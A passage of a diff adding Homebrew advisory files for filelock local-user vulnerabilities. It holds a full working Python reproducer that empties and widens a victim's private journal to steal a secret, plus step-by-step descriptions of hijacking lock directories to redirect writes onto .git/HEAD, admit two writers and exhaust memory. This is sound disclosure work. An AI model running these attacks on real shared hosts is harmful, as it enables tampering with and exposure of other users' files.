-exec chmod -R go-w {} +`.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-AD6SUOON`, scanned commit b831496b0273)\n- 2026-10-16 01:31 UTC: fix PR #839 opened\n- 2026-10-16 05:39 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-6627-m3xw-93mp" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/839" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112909.json b/advisories/BREW-virtualenv-CVE-2026-112909.json new file mode 100644 index 00000000000..6d90e43207c --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112909.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112909", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-69hj-f68j-2879", + "CVE-2026-112909" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "20.4.3" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path", + "details": "`UnixFileLock`, the backend of `FileLock` and `AsyncFileLock` on Unix, empties whatever regular file it finds at the lock path once it holds the `flock` (a kernel lock on an open file). With an explicit `mode` it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next `acquire()`. A hard link is a second name for the same file. With a mode such as `0o666` the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards.\n\n`O_NOFOLLOW`, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as `/tmp` needs `fs.protected_hardlinks=0`, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2).\n\nAnthropic's OSS Scanner reported this in private. Finding covered by this advisory:\n\n- `ANT-2026-KO573NWI` [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N` scores 6.1 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. `I:H` (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit `mode` the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. `C:L` (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. `A:N` (no availability impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional** on another user controlling names in a non-sticky directory on the lock's filesystem (or on `fs.protected_hardlinks=0`). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below.\n\n## Scope and preconditions\n\n- Lock classes: `FileLock` and `AsyncFileLock` on Unix (`UnixFileLock`). `SoftFileLock` applies an explicit mode only to a file it created with `O_CREAT | O_EXCL` and does not truncate an existing file. `WindowsFileLock` has not truncated at any version.\n- The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a `/tmp` cleaner, or after a release with the default `preserve_lock_file=False`, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated:\n - rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created `0777` directory);\n - rename from such a directory into a sticky one (`1777`) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with `EPERM`;\n - `link(2)` into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means `fs.protected_hardlinks=0`. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs.\n- What the lock user loses: with the default `FileLock(path)` the lock truncates the file, which keeps its mode. With an explicit `mode` (a lock shared between users needs `0o666` or `0o660`, because `UnixFileLock` opens the file read-write), the lock also chmods the file to that mode. `_apply_explicit_mode` suppresses `PermissionError` only for files the lock user does not own. The lock user owns its own files, so the `fchmod` succeeds.\n- Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n- Not affected: a symlink (a file that points at another path) at the lock path, because `O_NOFOLLOW` makes the open fail with `ELOOP`; mutual exclusion between cooperating processes.\n\n## Affected code\n\nScanned commit `b831496b0273`: [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L144-L163), whose [`os.ftruncate` and `_apply_explicit_mode` calls](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) have only the `st_nlink != 0` guard (the file still has at least one name); [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L165-L168); [`_open_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L95-L121), which learns from its `O_EXCL` create whether this attempt made the file but hands that flag only to the `ENOSYS` fallback.\n\n## Introduced\n\nThe truncation of whatever is at the lock path dates from the initial commit ([2157efb](https://github.com/tox-dev/filelock/commit/2157efb8b57666699fcf15bf03c3771c1571279c), which opened with `O_TRUNC`). The chmod of a pre-existing inode (the kernel's identity for a file, independent of its name) came with [d7e1e84](https://github.com/tox-dev/filelock/commit/d7e1e84e71ad) \"changed from os.umask to os.chmod\" ([#206](https://github.com/tox-dev/filelock/pull/206), 2023-03-22), first tag 3.10.2 (verified with `git tag --contains`). Before it the code passed the mode only to `open()`, which applies it to a file this call creates. The advisory range is therefore every release up to 4.2.0. The earlier group range `>= 3.10.0` understated it, as the review noted.\n\n## Mechanism\n\n`_open_lock_file` first tries `os.open(path, O_RDWR | O_NOFOLLOW | O_CREAT | O_EXCL, mode)`. With the lock user's file renamed to the lock path that fails with `FileExistsError`. The second `os.open(path, O_RDWR | O_NOFOLLOW)` succeeds, because the entry is a regular file the lock user owns, and returns `created = False`. `_acquire_native` passes `created` only to the `ENOSYS` branch. No process holds a `flock` on the renamed file, so `_lock_fd_nonblocking(fd)` succeeds at once and `_finalize_locked_fd(fd)` runs: `os.fstat`, `st_nlink != 0`, `os.ftruncate(fd, 0)`, then `os.fchmod(fd, mode)` when the lock has an explicit mode. Nothing in that path tells a lock file from any other regular file; a link count of 2 and a non-empty file both pass. `O_NOFOLLOW` does not help because the entry is the file itself (or a hard link, an ordinary directory entry for the same inode), not a symlink to it. There is no race: the other user renames or links once and waits for the next acquire. `AsyncUnixFileLock` inherits `_finalize_locked_fd` unchanged.\n\nThe scanner measured three variants at the same commit, same accounts (`victim` uid 1000, `attacker` uid 1001). First, a rename within a `0777` directory: the next `FileLock(\"jobs.lock\", mode=0o666)` of `victim` empties the `0600` journal of `victim` renamed to `jobs.lock` and sets it to `0666`; `attacker` then reads what `victim` keeps writing through its open descriptor. Second, a rename of a two-name file (`ln /tmp/cache/blob ~/env/blob`, `0644`) from a `0777` directory, `fs.protected_hardlinks=1`: after `mv /tmp/cache/blob /tmp/cache/app.lock` and `FileLock(\"/tmp/cache/app.lock\", mode=0o666)` as `victim`, `~/env/blob` has `2 links, mode 666, 0 bytes` and `echo pwned >> /home/victim/env/blob` as `attacker` succeeds, in a directory `attacker` cannot write. Third, `os.link(notes, lock_path)` in a `1777` directory with `fs.protected_hardlinks=0`: `notes.txt` (`0644`, in the home of `victim`) ends up 0 bytes with mode `0666`, and `open(notes, \"w\")` as `attacker` then succeeds. With plain `FileLock(lock_path)` a `0600` file ends up empty with its mode unchanged. The planted name stays after release, so every later acquire truncates the file again.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-KO573NWI`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport secrets\nimport shutil\nimport stat\nimport subprocess\nimport sys\n\n# set up: a directory every user may write, without the sticky bit\nshared = \"/tmp/renamed-lock-file-demo\"\nshutil.rmtree(shared, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\njournal = f\"{shared}/victim-journal.log\"\nlock_path = f\"{shared}/jobs.lock\"\n\nvictim = subprocess.Popen(\n [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"/tmp/repro.d/victim_job_runner.py\", shared],\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n text=True,\n)\n\n\ndef victim_runs(job):\n victim.stdin.write(job + \"\\n\")\n victim.stdin.flush()\n assert victim.stdout.readline() == \"done\\n\"\n\n\ndef as_attacker(script, argument):\n command = [\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, f\"/tmp/repro.d/{script}\", argument]\n return subprocess.run(command, capture_output=True, text=True, check=True).stdout\n\n\n# before the attack: one job leaves the lock file and a 0600 journal with one line in it\nvictim_runs(\"job 1\")\njournal_before = os.stat(journal)\njournal_content_before = open(journal).read()\nattacker_read_before = as_attacker(\"attacker_read_file.py\", journal)\nprint(\n f\"CONTROL journal: inode {journal_before.st_ino}, uid {journal_before.st_uid}, \"\n f\"mode {stat.S_IMODE(journal_before.st_mode):o}, content {journal_content_before!r}\"\n)\nprint(f\"CONTROL attacker reads the journal: {attacker_read_before!r}\")\n\n# attack\nas_attacker(\"attacker_rename_journal.py\", shared)\n\n# the victim takes its lock again, then notes a secret in its journal through the descriptor it holds\nsecret = secrets.token_hex(8)\nvictim_runs(f\"job 2 {secret}\")\nvictim.stdin.close()\nvictim.wait()\n\n# check: the victim's private journal must not be emptied, widened to 0666, or readable by the attacker\nlock_after = os.stat(lock_path)\nlock_content_after = open(lock_path).read()\nattacker_read_after = as_attacker(\"attacker_read_file.py\", lock_path)\nprint(\n f\"OBSERVED lock path: inode {lock_after.st_ino}, uid {lock_after.st_uid}, \"\n f\"mode {stat.S_IMODE(lock_after.st_mode):o}, content {lock_content_after!r}\"\n)\nprint(f\"OBSERVED attacker reads the lock path: {attacker_read_after!r}\")\n\nattacker_was_denied = attacker_read_before == \"permission denied\\n\"\nlock_path_is_the_journal = (lock_after.st_dev, lock_after.st_ino) == (journal_before.st_dev, journal_before.st_ino)\njournal_was_emptied = \"job 1\" in journal_content_before and \"job 1\" not in lock_content_after\njournal_was_widened = stat.S_IMODE(journal_before.st_mode) == 0o600 and stat.S_IMODE(lock_after.st_mode) == 0o666\nattacker_reads_the_secret = secret in attacker_read_after\nbug = (\n attacker_was_denied\n and lock_path_is_the_journal\n and journal_was_emptied\n and journal_was_widened\n and attacker_reads_the_secret\n)\nprint(\"BUG\" if bug else \"OK\")\n```\n\n**`repro.d/attacker_read_file.py`**\n\n```python\nimport sys\n\ntry:\n print(open(sys.argv[1]).read(), end=\"\")\nexcept PermissionError:\n print(\"permission denied\")\n```\n\n**`repro.d/attacker_rename_journal.py`**\n\n```python\nimport os\nimport sys\n\nshared_directory = sys.argv[1]\n\n# needs only write access to the directory: no sticky bit, so any user may rename any entry in it\nos.rename(f\"{shared_directory}/victim-journal.log\", f\"{shared_directory}/jobs.lock\")\n```\n\n**`repro.d/victim_job_runner.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import FileLock\n\nshared_directory = sys.argv[1]\n\njournal_fd = os.open(f\"{shared_directory}/victim-journal.log\", os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)\n# UnixFileLock opens the lock file O_RDWR, so a lock that other users of the directory also take needs mode=0o666\nlock = FileLock(f\"{shared_directory}/jobs.lock\", mode=0o666, timeout=5)\n\nfor job in sys.stdin:\n with lock:\n os.write(journal_fd, f\"ran {job}\".encode())\n print(\"done\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as other account\n participant D as shared directory (writable, not sticky)\n participant V as lock user: FileLock(\"jobs.lock\", mode=0o666)\n participant K as kernel\n Note over V,D: victim-journal.log, owner victim, mode 0600 (the other account cannot read it)\n A->>D: mv victim-journal.log jobs.lock (one rename, no race)\n V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW|O_CREAT|O_EXCL) -> EEXIST\n V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW) -> fd (regular file, created=False)\n V->>K: flock(fd, LOCK_EX|LOCK_NB) -> ok (no holder)\n rect rgb(255, 214, 214)\n V->>K: fstat(fd), st_nlink != 0\n V->>K: ftruncate(fd, 0)\n V->>K: fchmod(fd, 0o666)\n Note over V,K: the journal's inode is now empty and world read-write, still owned by victim\n end\n V->>K: write(\"ran job 2 \") through the journal descriptor it still holds\n A->>D: read jobs.lock -> \"ran job 2 \"\n```\n\n## Evidence\n\nThe scanner reproducer (`victim` and `attacker` accounts, root-created `0777` directory without the sticky bit under `/tmp`, default sysctls, Linux 6.1, CPython 3.14.8, overlayfs; lock `FileLock(path, mode=0o666, timeout=5)`). It printed `CONTROL journal: inode 296383, uid 1000, mode 600, content 'ran job 1\\n'` and `CONTROL attacker reads the journal: 'permission denied\\n'`. After the rename and the second job of `victim` it printed `OBSERVED lock path: inode 296383, uid 1000, mode 666, content 'ran job 2 f4bc9a4e04c3f556\\n'` and `OBSERVED attacker reads the lock path: 'ran job 2 f4bc9a4e04c3f556\\n'`, last line `BUG`. The verdict requires that the earlier read by `attacker` failed, that the lock path is the journal's inode, that the old line is gone, that the mode went from `0600` to `0666`, and that the later read by `attacker` contains the secret. It runs in under a second with no race. The scanner ran the two-name and `link(2)` variants above by hand at the same commit (commands and results in its report), not through the script.\n\nMaintainer triage: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 release image. The independent review (`soft-open`) confirmed the mechanism and that the hard-link and two-name variants go through the same two calls.\n\n## Impact\n\nThe file's content is lost in every configuration, including for processes that hold the file open and under every other name the file has. With an explicit permissive `mode`, the other user can read and modify everything the lock user writes afterwards, while the file still belongs to the lock user. The other user can rename the file back to its old name after the acquire. It stays there with the lock's mode, and the lock user's next acquire creates a fresh lock file.\n\nSomebody who may rename a single-name file may also unlink it, so losing such a file under its name is not new. What the lock adds are two operations on the inode that the other user cannot perform, `ftruncate` and `fchmod`, run with the lock user's privileges. Those matter for a descriptor the lock user still holds, for a second name of the file, and for programs that trust the file's ownership. The other user does not choose the mode, and the lock user writes no bytes the other user chose. Mutual exclusion is not affected.\n\n## Workarounds\n\n- Keep the lock file in a directory no other account can write, or in a sticky directory on a filesystem where no directory holding the lock user's files is writable by others. On Linux keep `fs.protected_hardlinks=1` (the default on mainstream distributions), which closes the hard-link route.\n- Do not pass a permissive explicit `mode` (`0o666`, `0o660`, `0o644`) unless accounts share the lock; without a mode the exposure is the truncation only.\n- Keep the lock file in place (`preserve_lock_file=True`). Once a lock file owned by the lock user exists in a sticky directory, another user cannot rename or link over it.\n- Where the lock does not need `flock` semantics, `SoftFileLock` applies its mode only to the marker it created with `O_EXCL` and does not truncate an existing file.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/835\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (36 findings; this one rated high by the scanner)\n- 2026-10-16 00:46 UTC: draft advisory created (first as a group of four findings, then narrowed to `ANT-2026-KO573NWI`; the other three security findings have their own advisories)\n- 2026-10-16 01:16 UTC: fix PR #835 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-69hj-f68j-2879" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112909" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/835" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112911.json b/advisories/BREW-virtualenv-CVE-2026-112911.json new file mode 100644 index 00000000000..2ab61deb5ca --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112911.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112911", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-9c4x-gm8v-wgc4", + "CVE-2026-112911" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "21.7.0" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: StrictSoftFileLock and SoftReadWriteLock adopt a protocol directory another user created first, losing mutual exclusion", + "details": "`StrictSoftFileLock`, `AsyncStrictSoftFileLock`, `SoftReadWriteLock` and `AsyncSoftReadWriteLock` keep their whole ownership state as files in a directory derived from the lock path (`.filelock/claims`, `.rw/{gen,holders}`). When that directory already exists they adopt it after checking only that it is a real directory, not who owns it. Another local user who can create names in the lock's directory can create the tree before the first acquire on that path by the user running the lock (below: the lock user). In `/tmp`, `/var/tmp` or another sticky shared directory any user can do that; the sticky bit is a directory flag that lets only a file's owner remove or rename it. The other user then owns the tree. They can unlink the lock user's claims while the lock user holds the lock, so a second process of the lock user, root included, enters the same critical section and neither process sees an error.\n\nAgainst `SoftReadWriteLock` the same position also admits two writers with `on_compromise` silent. It redirects the lock user's own creates and renames into a directory the other user picks (the scanner replaced a repository's `.git/HEAD` with a filelock record written with the lock user's privileges). It also keeps the lock user's acquire or release running past any `timeout`. Affected versions are filelock 3.30.0 through 4.2.0 (finding `ANT-2026-Q5VK5JEE`).\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 6.3 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the other user must create the protocol directory before the lock user's first acquire on that path. That depends on the path being new, or on a reboot, a tmp cleaner or the documented `.rw` recovery having removed its tree; once planted, the rest needs no race. `I:H` (high integrity impact): two holders write whatever the lock protects, and for `SoftReadWriteLock` the lock user's process creates, replaces or deletes files named `HEAD`, `epoch` and `0000000000000000000N` in any directory the lock user can write. `A:H` (high availability impact): the owner of `.rw` can make the lock user's `read_lock(timeout=1)` spin at full CPU without end, cost 22 s per acquire, or pin 1 MiB of memory per planted file until a heartbeat thread dies of `MemoryError`. `C:N` (no confidentiality impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional** on the other user winning initial ownership of the protocol directory. The scanner rated it high (CWE-283). With `AC:L` the same impacts would score 7.1.\n\n## Scope and preconditions\n\n- The other user can create names in the directory that holds the lock. In a sticky `1777` directory such as `/tmp` any local user can. The sticky bit stops that user from renaming or removing a directory the lock user created, but does nothing for one the other user created first.\n- The other user gets there first: `.filelock` (strict) or `.rw` (soft read-write) must not exist when the lock user's process first acquires. `_strict.py` does not remove the directory at any point, so a path the lock user has already used stays safe for as long as the tree exists. The exposure is a new lock path, or one whose tree a reboot, a tmp cleaner, a cache purge or the recovery described in `docs/how-to.rst` removed.\n- For the strict lock the planted directory must be writable by the lock user (`0777`); a planted `0755` directory makes the lock user's acquire fail with `PermissionError` instead. Planting only the outer `.filelock` is enough. The lock user creates `claims` inside it, and the other user, as owner of the parent, renames that `claims` aside and creates an empty one.\n- The Linux `fs.protected_regular`, `fs.protected_symlinks`, `fs.protected_hardlinks` and `fs.protected_fifos` sysctls (kernel settings, all enabled in the scanner's image) do not interfere. They cover regular files, symlinks, hard links and FIFOs, not directories. The `SoftReadWriteLock` symlink redirect below also passes `fs.protected_symlinks=1`, because the symlink (a file that points at another path) sits in the other user's own non-sticky directory.\n- The affected classes are `StrictSoftFileLock` and `AsyncStrictSoftFileLock` (which inherits `_acquire`), and `SoftReadWriteLock` and `AsyncSoftReadWriteLock` with default options. `FileLock` gives way to the same position (when the other user creates the lock file first with mode `0666` and unlinks it during a hold, a second lock user process acquires), so the strict lock is not weaker than the native one here. This advisory reports it because `StrictSoftFileLock` is the lock documented as fail-closed and already raises `SoftFileLockProtocolError` for a symlink or a regular file at the same names, while it uses a directory that belongs to someone else without any signal. The `SoftReadWriteLock` half has no such counterpart: its redirected creates, renames and unlinks land outside the lock's own files.\n- A non-sticky directory writable by other users is outside the boundary below. There anyone who can create the directory can also rename the lock user's own tree aside, and no check inside the lock can tell that from a first use.\n\nThese protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n\n## Affected code\n\nAt the scanned commit b831496: [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L1006) returns for any existing real directory, whatever its owner or mode. [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L127-L128) calls it for both levels and does not look at directory ownership again. [`_attempt_doorway`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L179-L181) decides from the claim scan alone, and [`_unlink_owner_path_result`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L896-L900) counts a missing claim as removed on release. The sibling site is [`OsFiles.prepare`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). Its `mkdir(mode=0o700)` takes effect only when it creates the directory, and its `lstat` check reads neither `st_uid` nor the permission bits. It runs once per instance, and every later `OsFiles` method takes a full path, with `O_NOFOLLOW` guarding only the last component.\n\n## Introduced\n\nThe strict site came with the claims protocol in 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. The `SoftReadWriteLock` site came with the `.rw` tree itself in f9743288a288 (\"fix(soft-rw): replace the state mutex with a generation log\", #738, 2026-09-17), first released in 4.0.0. Both match the git tags; the advisory range starts at the earlier one.\n\n## Mechanism\n\nThe owner of a directory can unlink and rename every entry in it, whatever the entries' own owner and mode. A strict hold consists of two names, `intent-v1-.claim` and `held-v1-.claim`, in `.filelock/claims`. The sentinel (the lock file at ``) is permanent and says nothing about who holds. When the other user runs the equivalent of `mkdir -m 777 -p work.lock.filelock/claims` before the lock user first uses `work.lock`, every lock user acquire publishes its claims into a directory the other user can empty. Lock user process A acquires and holds. The other user unlinks both of A's claims; both `unlink` calls succeed, because write permission on the directory is enough.\n\nLock user process B calls `acquire()` while A is inside its critical section. `_attempt_doorway` starts with `if _read_existing_claims(...): return False`, which turns a contender away while a holder exists, but the scan is now empty. B publishes its own intent and held claims, sees only those in the later rescans, and wins.\n\nA is not told. A strict holder does not look at its claims between acquire and release, and on release `_unlink_owner_path_result` takes the `FileNotFoundError` for each missing claim as \"already removed\", so `_release` finishes without error. The break involves neither a `lifetime` nor a lease, and neither `break_lock()` nor `force_break()`. The benign path shows what the check is missing. When the lock user's first acquire creates the directories itself they are `0755` and owned by the lock user (umask `022`). The other user's `unlink` then fails with `EACCES`, its `rename` or `rmdir` of `work.lock.filelock` fails with `EPERM` under the sticky bit, and B raises `Timeout`.\n\n`OsFiles.prepare` has the same gap for `SoftReadWriteLock`. The code suppresses `EEXIST` from `mkdir(mode=0o700)`, and the check that follows looks only at `S_ISDIR` and `S_ISLNK`. The class docstring's protection against \"same-host different-UID users via `0o600` / `0o700` permissions\" therefore holds only for whoever gets there first. With the other user owning `/tmp/app.lock.rw`, `gen` and `holders` before the lock user first uses `SoftReadWriteLock(\"/tmp/app.lock\")`, the scanner observed the following, with the same two accounts.\n\n**Creates and renames redirected through a symlink.** The other user's tree holds a generation log (the record of who holds the lock, under `gen/`) naming a live writer, so the lock user polls. Once the lock user's record appears in `holders/` (its `prepare()` is over), the other user renames `gen` aside and puts a symlink to `/home/victim/project/.git`, a repository inside a `0700` directory, in its place. The lock user's `write_lock()` returns without error. By then `GenerationLog.commit()` has created `epoch`, `00000000000000000001` and `00000000000000000002` in `.git` and renamed a record over `.git/HEAD`, which now reads `\\nfilelock-rw/1\\ngeneration=2\\n`, owned by the lock user; `git status` answers `fatal: not a git repository`. With `holders` swapped instead, `Participant._sweep()` unlinks files with 32-hex-digit names in the target directory once they have stayed unchanged for `stale_threshold`. This needs no race: every later acquisition on an instance that has passed `prepare()` goes through the swapped `gen`.\n\n**Two writers, no `on_compromise`.** `OsFiles.read()` accepts any regular file, so the owner of `gen` writes snapshots itself. While lock user process V1 is inside `write_lock()`, the other user creates the next `gen/` naming no holder, and V2's `write_lock(timeout=2)` succeeds at once. A further forged generation naming both tokens keeps both heartbeats answering `ok`, because `Participant.heartbeat()` tests only `self.token in latest.members`; `compromise` was still `None` in both after the default 30 s heartbeat. The other user reads no lock user record at any point: listing `gen/` and `holders/` gives the generation and the tokens.\n\n**Hangs, memory growth and bare `OSError`s.** The protocol code treats every record in `gen/` and `holders/` as written by a cooperating peer, so the tree's owner can do several things. They can make `Participant.leave()` retry a refused commit without end (`read_lock(timeout=1)` spins at full CPU instead of raising `Timeout`). They can keep `GenerationLog._probe()` walking by appending records ahead of it (3 s of writes kept `read_lock(timeout=1)` busy for about 60 s). They can make every `acquire_write(timeout=1)` and `release()` on a free lock take about 22 s with 200 000 generation names hard-linked into a sticky `gen/` (a hard link is a second name for the same file), which `_list()` and `_compact_through()` walk again on each poll because `OsFiles.unlink()` swallows the `EPERM`.\n\nThey can also pin 1 MiB of the lock user's memory per sparse file planted in `holders/`, because `Ledger.observe()` keeps every swept record whole (2 000 hard links to one 1 MiB file: 2 028 MiB resident when `acquire_write()` returns). Under an address-space limit the sweep raises `MemoryError` inside the heartbeat thread, which nothing handles, so the record is not refreshed again. After `stale_threshold` a second lock user process gets the write lock while the first still has `compromise` `None`. And they can make every acquire of a free lock raise a bare `OSError` with a mode-`000` orphan in `holders/` or a symlink at `gen/HEAD`. None of these is reachable in a tree the lock user created itself: it is `0700` at all three levels and the other user's writes fail with `EACCES`.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-Q5VK5JEE`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport subprocess\nimport sys\nimport tempfile\n\n# the companions are passed with -c, so victim and attacker need no read access to /tmp/repro.d\nvictim_worker = open(\"/tmp/repro.d/victim_worker.py\").read()\nattacker_plant_directory = open(\"/tmp/repro.d/attacker_plant_directory.py\").read()\nattacker_remove_claims = open(\"/tmp/repro.d/attacker_remove_claims.py\").read()\nas_victim = [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"-c\", victim_worker]\nas_attacker = [\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, \"-c\"]\n\n\ndef two_victims_contend_while_attacker_removes_claims(lock_path):\n claims = f\"{lock_path}.filelock/claims\"\n first = 